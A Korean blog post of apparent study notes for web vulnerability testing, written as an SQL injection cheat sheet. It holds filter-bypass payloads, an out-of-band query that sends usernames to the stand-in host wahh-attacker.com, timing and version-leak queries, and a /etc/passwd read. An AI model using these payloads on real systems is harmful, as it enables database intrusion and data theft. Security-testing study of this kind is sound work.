SQL Injection
1. 취약점이 존재하는지 테스트 하는 문자열
- 오라클 : '||'FOO
- MS-SQL : '+' FOO
- MYSQL : ' 'FOO
2. get 방식일 경우
- Union 또는 Update 또는 select 시에
- %20 Union %20 SELECT %20 NULL, %20 from %20 dual --
이런식으로 %20
3. 검증 우회
: 사용 이유 : 검증 루틴에 의해 블랙 리스트를 사용해서 파라미터를 검증할때 이를 우회하기 위해 사용한다
1) 'or 1=1 -- 같은 경우
'or 'a'='a' 등으로 우회
2) select 키워드가 막혀있는 경우 - > SeLeCt 등 대소문자 섞음
- 또는 아스키 코드로 변환함
- %53 %45 %4c %45 %53 %54
3) 스페이스 를 막을 경우 /* */ 주석으로 스페이스 대체 함
- 주석의 경우 SQL 에 따라 정의해야할듯
4) 막혀진 문자열 조작
- admin 문자열 등 입력 문자를 막아 놓았을 경우 1번에 해당하는 문자 연결자를 사용함
예) 'adm'||'in' , 'adm'+'in' , concat('adm','in')
- 아스키로 변환된 문자를 연결할 경우
예) chr(97) || chr(100) || chr(109) || chr(105) || chr (110)
- admin
5) 안전하게 하기 위해선 문자열 길이가 제한 이상일 경우 조작할 수 없도록 설정 해야r
6) Out - Of - Band 채널 이용하여 우회
: 사용 이유 : 사용자의 화면에 SQL 인젝션 결과를 보여주지 않거나 DB에서 발생하는 에러 메시지만 보여줄때 데이터를 추출하거나 결과를 보고자할때 사용한
- 연결어 문자열을 이용한 임의의 코드 삽입
예) 로그인시
- foo' || (select 1 from dual where (SELECT username from all_users where username = 'DBSNMP') = 'DBSNMP') --
해당 로직은 oracle 디비의 전역으로 접근 가능한 테이블인 DUAL 을 이용한다.
- 해당 로직의 결과를 알아내기 위해서는 네트워크를 역으로 연결하기 위한 데이터베이스의 내장된 기능을 활용하면 된다
- MSSQL
-
insert into openrowset('SQLOLEDB','DRIVER={SQL
Server};SERVER=test.com,80;UID=sa;PWD=letmein','select * from foo')
values (@@version)
- 해당 로직은 외부 서버에 있는 foo 테이블에 대상 pc 의 버전을 리퀘스트 한다
- Oracle
- UTL_HTTP 패키지를 이용하여 리퀘스트 시킨다
-
http:// ~/a.asp?No=123'
||UTL_HTTP.request('wahh-attacker.com:80/'||(select %20 username %20
from %20 all_users %20 where %20 rownum %3d1)) --
- 해당 로직은 all_users 테이블에 있는 첫번째 사용자를 URL에 담아서 get 요청을 보내게 된다
- 비슷한 로직인 UTL_INADDR 을 이용해 DNS 요청 트래픽을 이용할 수도 있다
4. 블라인드 sql 에서 SQL Injection 취약점이 존재하는지 여부 판단하기 ( 타이머 이용 )
- 오라클 : UTL_HTTP.request(" http://존재하지않는 url ") -> 시간 지연 발생
- MS-SQL : waitfor delay '0:0:10' -> 10초 시간 지연 발생
- MySQL : benchmark(50000,sha1('test'))
5. Database 버전 정보 유출
- 오라클 : select banner from v$version
- MS-SQl : select @@version
- MySql : select @@version
6. 동적 실행 : 조작된 입력을 삽입하여 원래 개발자가 작성한것과 같은 방식으로 서버상에서 의도한 대로 실행되게 하는 방법
- PHP 에서의 동적 실행
- 검색 로직 등에서 시스템명령어를 사용
- 질의 URL ; %20 echo %20 file_get_contents(%3b/etc/passwd%3b)
- ASP 에서의 동적 실행
- response.write%20 로 취약성 테스트 및 system 명령어 실행
7. 기초 SQL Injection
- 그룹핑 에러
- 'group by colName having 1=1 --
- 타입 불일치 에러
- union select 1,1,'test'1,1,1 --
'웹 취약점 점검' 카테고리의 다른 글
OHK (0) | 2021.07.07 |
---|---|
웹 취약점 점검 툴 몇가지 정리 (0) | 2014.04.04 |
acunetix web scanner 웹 점검 예 (0) | 2014.04.04 |